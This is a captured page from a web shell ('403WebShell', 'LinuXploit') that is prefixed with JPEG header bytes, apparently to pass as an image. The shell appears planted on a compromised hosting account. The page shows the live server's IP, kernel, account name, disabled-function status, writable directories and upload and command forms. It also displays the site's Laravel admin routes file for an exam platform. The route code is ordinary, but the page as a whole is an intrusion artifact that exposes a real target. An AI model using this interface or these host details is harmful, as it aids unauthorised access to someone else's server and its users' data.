����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.149.249.113
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/cbt.bofirm.com/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/cbt.bofirm.com/routes/admin.php
<?php
/**
 * File name: admin.php
 * Last modified: 20/07/21, 2:27 PM
 * Author: NearCraft - https://codecanyon.net/user/nearcraft
 * Copyright (c) 2021
 */

use App\Http\Controllers\Admin\UserGroupCrudController;
use App\Http\Controllers\Admin\UserCrudController;
use App\Http\Controllers\Admin\PracticeSetCrudController;
use App\Http\Controllers\Admin\CategoryCrudController;
use App\Http\Controllers\Admin\SubCategoryCrudController;
use App\Http\Controllers\Admin\SectionCrudController;
use App\Http\Controllers\Admin\SkillCrudController;
use App\Http\Controllers\Admin\TopicCrudController;
use App\Http\Controllers\Admin\FileController;
use App\Http\Controllers\Admin\QuestionCrudController;
use App\Http\Controllers\Admin\ComprehensionCrudController;
use App\Http\Controllers\Admin\QuestionTypeController;
use App\Http\Controllers\Admin\QuestionImportController;
use App\Http\Controllers\Admin\QuizCrudController;
use App\Http\Controllers\Admin\DashboardController;
use App\Http\Controllers\Admin\SettingController;
use App\Http\Controllers\Admin\PracticeSetQuestionController;
use App\Http\Controllers\Admin\QuizQuestionController;
use App\Http\Controllers\Admin\QuizScheduleCrudController;
use App\Http\Controllers\Admin\MaintenanceController;
use App\Http\Controllers\Admin\QuizAnalyticsController;
use App\Http\Controllers\Admin\PracticeAnalyticsController;
use App\Http\Controllers\AppUpdateController;
use App\Http\Controllers\Admin\HomePageSettingController;
use App\Http\Controllers\Admin\QuizTypeCrudController;
use App\Http\Controllers\Admin\TagCrudController;
use App\Http\Controllers\Admin\LessonCrudController;
use App\Http\Controllers\Admin\VideoCrudController;
use App\Http\Controllers\Admin\PracticeLessonController;
use App\Http\Controllers\Admin\PracticeVideoController;
use App\Http\Controllers\Admin\PlanCrudController;
use App\Http\Controllers\Admin\PaymentCrudController;
use App\Http\Controllers\Admin\SubscriptionCrudController;
use App\Http\Controllers\Admin\ExamTypeCrudController;
use App\Http\Controllers\Admin\ExamCrudController;
use App\Http\Controllers\Admin\ExamSectionCrudController;
use App\Http\Controllers\Admin\ExamQuestionController;
use App\Http\Controllers\Admin\ExamScheduleCrudController;
use App\Http\Controllers\Admin\ExamAnalyticsController;
use App\Http\Controllers\Admin\UserImportController;

/*
|--------------------------------------------------------------------------
| Admin Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::middleware(['auth:sanctum', 'verified'])->prefix('admin')->group(function () {
    Route::get('/dashboard', [DashboardController::class, 'index'])->name('admin_dashboard');

    /*
    |--------------------------------------------------------------------------
    | CRUD Routes
    |--------------------------------------------------------------------------
    */
    Route::resource('categories', CategoryCrudController::class);
    Route::resource('sections', SectionCrudController::class);
    Route::resource('skills', SkillCrudController::class);
    Route::resource('topics', TopicCrudController::class);
    Route::resource('comprehensions', ComprehensionCrudController::class);
    Route::resource('quiz-types', QuizTypeCrudController::class);
    Route::resource('exam-types', ExamTypeCrudController::class);
    Route::resource('tags', TagCrudController::class);

    Route::resource('sub-categories', SubCategoryCrudController::class);
    Route::get('fetch_sub_category_sections/{id}', [SubCategoryCrudController::class, 'fetchSections'])->name('fetch_sub_category_sections');
    Route::post('update_sub_category_sections/{id}', [SubCategoryCrudController::class, 'updateSections'])->name('update_sub_category_sections');

    /*
    |--------------------------------------------------------------------------
    | User Routes
    |--------------------------------------------------------------------------
    */
    Route::resource('users', UserCrudController::class);
    Route::resource('user-groups', UserGroupCrudController::class);
    Route::get('import-users', [UserImportController::class, 'initiateImport'])->name('initiate_import_users');
    Route::post('import-users', [UserImportController::class, 'import'])->name('import_users');

    /*
    |--------------------------------------------------------------------------
    | Payment & Subscription Routes
    |--------------------------------------------------------------------------
    */
    Route::resource('payments', PaymentCrudController::class);
    Route::resource('subscriptions', SubscriptionCrudController::class);
    Route::post('authorize-bank-payment/{id}', [PaymentCrudController::class, 'authorizeBankPayment'])->name('authorize_bank_payment');

    /*
    |--------------------------------------------------------------------------
    | Question Routes
    |--------------------------------------------------------------------------
    */
    Route::resource('questions', QuestionCrudController::class);
    Route::get('questions/{id}/settings', [QuestionCrudController::class, 'settings'])->name('question_settings');
    Route::post('questions/{id}/settings', [QuestionCrudController::class, 'updateSettings'])->name('update_question_settings');
    Route::get('questions/{id}/solution', [QuestionCrudController::class, 'solution'])->name('question_solution');
    Route::post('questions/{id}/solution', [QuestionCrudController::class, 'updateSolution'])->name('update_question_solution');
    Route::get('questions/{id}/attachment', [QuestionCrudController::class, 'attachment'])->name('question_attachment');
    Route::post('questions/{id}/attachment', [QuestionCrudController::class, 'updateAttachment'])->name('update_question_attachment');

    Route::get('import-questions', [QuestionImportController::class, 'initiateImport'])->name('initiate_import_questions');
    Route::post('import-questions/{skill}', [QuestionImportController::class, 'import'])->name('import_questions');
    Route::get('question-types', [QuestionTypeController::class, 'index'])->name('question-types.index');

    /*
   |--------------------------------------------------------------------------
   | Exam Routes
   |--------------------------------------------------------------------------
   */
    Route::resource('exams', ExamCrudController::class);
    Route::resource('exams/{exam}/sections', ExamSectionCrudController::class, ['as' => 'exams']);
    Route::resource('exams/{exam}/schedules', ExamScheduleCrudController::class, ['as' => 'exams']);

    Route::get('exams/{exam}/overall-report', [ExamAnalyticsController::class, 'overallReport'])->name('exams.overall_report');
    Route::get('exams/{exam}/detailed-report', [ExamAnalyticsController::class, 'detailedReport'])->name('exams.detailed_report');
    Route::get('/exam/{exam:slug}/results/{session}', [ExamAnalyticsController::class, 'results'])->name('exam_session_results');
    Route::get('/exam/{exam:slug}/solutions/{session}', [ExamAnalyticsController::class, 'solutions'])->name('fetch_exam_session_solutions');
    Route::get('exams/{exam}/export-report', [ExamAnalyticsController::class, 'exportReport'])->name('exams.export_report');
    Route::get('/exam/{exam:slug}/report/{session}', [ExamAnalyticsController::class, 'exportPDF'])->name('exam_session_report');
    Route::delete('/exam/{exam:slug}/destroy/{session}', [ExamAnalyticsController::class, 'deleteSession'])->name('delete_exam_session');

    Route::get('/exams/{exam}/settings', [ExamCrudController::class, 'settings'])->name('exams.settings');
    Route::post('/exams/{exam}/settings', [ExamCrudController::class, 'updateSettings'])->name('exams.settings.update');

    Route::get('/exams/{exam}/questions', [ExamQuestionController::class, 'index'])->name('exams.questions');
    Route::get('/exams/{exam}/{section}/fetch-questions', [ExamQuestionController::class, 'fetchQuestions'])->name('exams.fetch_questions');
    Route::get('/exams/{exam}/{section}/fetch-available-questions', [ExamQuestionController::class, 'fetchAvailableQuestions'])->name('exams.fetch_available_questions');
    Route::post('/exams/{exam}/{section}/add-question', [ExamQuestionController::class, 'addQuestion'])->name('exams.add_question');
    Route::post('/exams/{exam}/{section}/remove-question', [ExamQuestionController::class, 'removeQuestion'])->name('exams.remove_question');

    /*
    |--------------------------------------------------------------------------
    | Quiz Routes
    |--------------------------------------------------------------------------
    */
    Route::resource('quizzes', QuizCrudController::class);
    Route::resource('quizzes/{quiz}/schedules', QuizScheduleCrudController::class, ['as' => 'quizzes']);

    Route::get('quizzes/{quiz}/overall-report', [QuizAnalyticsController::class, 'overallReport'])->name('quizzes.overall_report');
    Route::get('quizzes/{quiz}/detailed-report', [QuizAnalyticsController::class, 'detailedReport'])->name('quizzes.detailed_report');
    Route::get('/quiz/{quiz:slug}/results/{session}', [QuizAnalyticsController::class, 'results'])->name('quiz_session_results');
    Route::get('/quiz/{quiz:slug}/solutions/{session}', [QuizAnalyticsController::class, 'solutions'])->name('fetch_quiz_session_solutions');
    Route::get('quizzes/{quiz}/export-report', [QuizAnalyticsController::class, 'exportReport'])->name('quizzes.export_report');
    Route::get('/quiz/{quiz:slug}/report/{session}', [QuizAnalyticsController::class, 'exportPDF'])->name('quiz_session_report');
    Route::delete('/quiz/{quiz:slug}/destroy/{session}', [QuizAnalyticsController::class, 'deleteSession'])->name('delete_quiz_session');

    Route::get('/quizzes/{quiz}/settings', [QuizCrudController::class, 'settings'])->name('quizzes.settings');
    Route::post('/quizzes/{quiz}/settings', [QuizCrudController::class, 'updateSettings'])->name('quizzes.settings.update');

    Route::get('/quizzes/{quiz}/questions', [QuizQuestionController::class, 'index'])->name('quizzes.questions');
    Route::get('/quizzes/{quiz}/fetch-questions', [QuizQuestionController::class, 'fetchQuestions'])->name('quizzes.fetch_questions');
    Route::get('/quizzes/{quiz}/fetch-available-questions', [QuizQuestionController::class, 'fetchAvailableQuestions'])->name('quizzes.fetch_available_questions');
    Route::post('/quizzes/{quiz}/add-question', [QuizQuestionController::class, 'addQuestion'])->name('quizzes.add_question');
    Route::post('/quizzes/{quiz}/remove-question', [QuizQuestionController::class, 'removeQuestion'])->name('quizzes.remove_question');

    /*
    |--------------------------------------------------------------------------
    | Practice Set Routes
    |--------------------------------------------------------------------------
    */
    Route::resource('practice-sets', PracticeSetCrudController::class);
    Route::get('/practice-sets/{practice_set}/settings', [PracticeSetCrudController::class, 'settings'])->name('practice-sets.settings');
    Route::post('/practice-sets/{practice_set}/settings', [PracticeSetCrudController::class, 'updateSettings'])->name('practice-sets.settings.update');

    Route::get('/practice-sets/{practice_set}/questions', [PracticeSetQuestionController::class, 'index'])->name('practice-sets.questions');
    Route::get('/practice-sets/{practice_set}/fetch-questions', [PracticeSetQuestionController::class, 'fetchQuestions'])->name('practice-sets.fetch_questions');
    Route::get('/practice-sets/{practice_set}/fetch-available-questions', [PracticeSetQuestionController::class, 'fetchAvailableQuestions'])->name('practice-sets.fetch_available_questions');
    Route::post('/practice-sets/{practice_set}/add-question', [PracticeSetQuestionController::class, 'addQuestion'])->name('practice-sets.add_question');
    Route::post('/practice-sets/{practice_set}/remove-question', [PracticeSetQuestionController::class, 'removeQuestion'])->name('practice-sets.remove_question');

    Route::get('practice-sets/{practice_set}/overall-report', [PracticeAnalyticsController::class, 'overallReport'])->name('practice-sets.overall_report');
    Route::get('practice-sets/{practice_set}/detailed-report', [PracticeAnalyticsController::class, 'detailedReport'])->name('practice-sets.detailed_report');
    Route::get('practice-sets/{practice_set}/export-report', [PracticeAnalyticsController::class, 'exportReport'])->name('practice-sets.export_report');

    Route::get('/practice/{practice_set:slug}/analysis/{session}', [PracticeAnalyticsController::class, 'analysis'])->name('practice_session_results');
    Route::get('/practice/{practice_set:slug}/solutions/{session}', [PracticeAnalyticsController::class, 'solutions'])->name('fetch_practice_session_solutions');
    Route::delete('/practice/{practice_set:slug}/destroy/{session}', [PracticeAnalyticsController::class, 'deleteSession'])->name('delete_practice_session');

    /*
    |--------------------------------------------------------------------------
    | Lesson Routes
    |--------------------------------------------------------------------------
    */
    Route::resource('lessons', LessonCrudController::class);
    Route::get('/practice/configure-lessons', [PracticeLessonController::class, 'index'])->name('practice.configure_lessons');
    Route::get('/practice/{category}/{skill}/lessons', [PracticeLessonController::class, 'lessons'])->name('practice.lessons');
    Route::get('/practice/{category}/{skill}/fetch-practice-lessons', [PracticeLessonController::class, 'fetchLessons'])->name('practice.fetch_lessons');
    Route::get('/practice/{category}/{skill}/fetch-available-lessons', [PracticeLessonController::class, 'fetchAvailableLessons'])->name('practice.fetch_available_lessons');
    Route::post('/practice/{category}/{skill}/add-lesson', [PracticeLessonController::class, 'addLesson'])->name('practice.add_lesson');
    Route::post('/practice/{category}/{skill}/remove-lesson', [PracticeLessonController::class, 'removeLesson'])->name('practice.remove_lesson');

    /*
    |--------------------------------------------------------------------------
    | Video Routes
    |--------------------------------------------------------------------------
    */
    Route::resource('videos', VideoCrudController::class);
    Route::get('/practice/configure-videos', [PracticeVideoController::class, 'index'])->name('practice.configure_videos');
    Route::get('/practice/{category}/{skill}/videos', [PracticeVideoController::class, 'videos'])->name('practice.videos');
    Route::get('/practice/{category}/{skill}/fetch-practice-videos', [PracticeVideoController::class, 'fetchVideos'])->name('practice.fetch_videos');
    Route::get('/practice/{category}/{skill}/fetch-available-videos', [PracticeVideoController::class, 'fetchAvailableVideos'])->name('practice.fetch_available_videos');
    Route::post('/practice/{category}/{skill}/add-video', [PracticeVideoController::class, 'addVideo'])->name('practice.add_video');
    Route::post('/practice/{category}/{skill}/remove-video', [PracticeVideoController::class, 'removeVideo'])->name('practice.remove_video');

    /*
    |--------------------------------------------------------------------------
    | Search Routes
    |--------------------------------------------------------------------------
    */
    Route::get('/search_quizzes', [QuizCrudController::class, 'search'])->name('search_quizzes');
    Route::get('/search_sections', [SectionCrudController::class, 'search'])->name('search_sections');
    Route::get('/search_skills', [SkillCrudController::class, 'search'])->name('search_skills');
    Route::get('/search_topics', [TopicCrudController::class, 'search'])->name('search_topics');
    Route::get('/search_tags', [TagCrudController::class, 'search'])->name('search_tags');
    Route::get('/search_users', [UserCrudController::class, 'search'])->name('search_users');
    Route::get('/search_plans', [PlanCrudController::class, 'search'])->name('search_plans');
    Route::get('/search_comprehensions', [ComprehensionCrudController::class, 'search'])->name('search_comprehensions');
    Route::get('/search_sub_categories', [SubCategoryCrudController::class, 'search'])->name('search_sub_categories');

    /*
    |--------------------------------------------------------------------------
    | Monetization Routes
    |--------------------------------------------------------------------------
    */
    Route::resource('plans', PlanCrudController::class);

    /*
    |--------------------------------------------------------------------------
    | Setting Routes
    |--------------------------------------------------------------------------
    */
    Route::get('/general-settings', [SettingController::class, 'general'])->name('general_settings');
    Route::post('/update-site-settings', [SettingController::class, 'updateSiteSettings'])->name('update_site_settings');
    Route::post('/update-logo', [SettingController::class, 'updateLogo'])->name('update_logo');
    Route::post('/update-white-logo', [SettingController::class, 'updateWhiteLogo'])->name('update_white_logo');
    Route::post('/update-favicon', [SettingController::class, 'updateFavicon'])->name('update_favicon');

    Route::get('/localization-settings', [SettingController::class, 'localization'])->name('localization_settings');
    Route::post('/update-localization-settings', [SettingController::class, 'updateLocalizationSettings'])->name('update_localization_settings');

    Route::get('/email-settings', [SettingController::class, 'email'])->name('email_settings');
    Route::post('/update-email-settings', [SettingController::class, 'updateEmailSettings'])->name('update_email_settings');

    Route::get('/theme-settings', [SettingController::class, 'theme'])->name('theme_settings');
    Route::post('/update-theme-settings', [SettingController::class, 'updateThemeSettings'])->name('update_theme_settings');
    Route::post('/update-font-settings', [SettingController::class, 'updateFontSettings'])->name('update_font_settings');

    Route::get('/payment-settings', [SettingController::class, 'payment'])->name('payment_settings');
    Route::post('/update-payment-settings', [SettingController::class, 'updatePaymentSettings'])->name('update_payment_settings');
    Route::post('/update-bank-settings', [SettingController::class, 'updateBankSettings'])->name('update_bank_settings');
    Route::post('/update-razorpay-settings', [SettingController::class, 'updateRazorpaySettings'])->name('update_razorpay_settings');
    Route::post('/update-paypal-settings', [SettingController::class, 'updatePayPalSettings'])->name('update_paypal_settings');
    Route::post('/update-stripe-settings', [SettingController::class, 'updateStripeSettings'])->name('update_stripe_settings');

    Route::get('/billing-tax-settings', [SettingController::class, 'billing'])->name('billing_tax_settings');
    Route::post('/update-billing-settings', [SettingController::class, 'updateBillingSettings'])->name('update_billing_settings');
    Route::post('/update-tax-settings', [SettingController::class, 'updateTaxSettings'])->name('update_tax_settings');

    Route::get('/home-settings', [HomePageSettingController::class, 'home'])->name('home_page_settings');
    Route::post('/update-home-page-settings', [HomePageSettingController::class, 'updateHomePageSettings'])->name('update_home_page_settings');
    Route::post('/update-hero-settings', [HomePageSettingController::class, 'updateHeroSettings'])->name('update_hero_settings');
    Route::post('/update-top-bar-settings', [HomePageSettingController::class, 'updateTopBarSettings'])->name('update_top_bar_settings');
    Route::post('/update-feature-settings', [HomePageSettingController::class, 'updateFeatureSettings'])->name('update_feature_settings');
    Route::post('/update-stat-settings', [HomePageSettingController::class, 'updateStatSettings'])->name('update_stat_settings');
    Route::post('/update-testimonial-settings', [HomePageSettingController::class, 'updateTestimonialSettings'])->name('update_testimonial_settings');
    Route::post('/update-cta-settings', [HomePageSettingController::class, 'updateCtaSettings'])->name('update_cta_settings');
    Route::post('/update-category-settings', [HomePageSettingController::class, 'updateCategorySettings'])->name('update_category_settings');
    Route::post('/update-footer-settings', [HomePageSettingController::class, 'updateFooterSettings'])->name('update_footer_settings');

    Route::get('/maintenance-settings', [MaintenanceController::class, 'index'])->name('maintenance_settings');
    Route::post('/maintenance/clear-cache', [MaintenanceController::class, 'clearCache'])->name('clear_cache');
    Route::post('/maintenance/fix-storage-links', [MaintenanceController::class, 'fixStorageLinks'])->name('fix_storage_links');
    Route::post('/maintenance/expire-schedules', [MaintenanceController::class, 'expireSchedules'])->name('expire_schedules');
    Route::post('/maintenance/debug-mode', [MaintenanceController::class, 'debugMode'])->name('debug_mode');
    Route::post('/maintenance/update', [AppUpdateController::class, 'onSuccessfulUpdate'])->name('fix_updates');

    /*
    |--------------------------------------------------------------------------
    | File Manager Routes
    |--------------------------------------------------------------------------
    */
    Route::get('/file-manager', [FileController::class, 'index'])->name('file-manager');
    Route::get('file-manager/ckeditor', [FileController::class, 'ckeditor'])->name('file-ckeditor');
    Route::get('file-manager/fm-button', [FileController::class, 'button'])->name('file-button');
});



Youez - 2016 - github.com/yon3zu
LinuXploit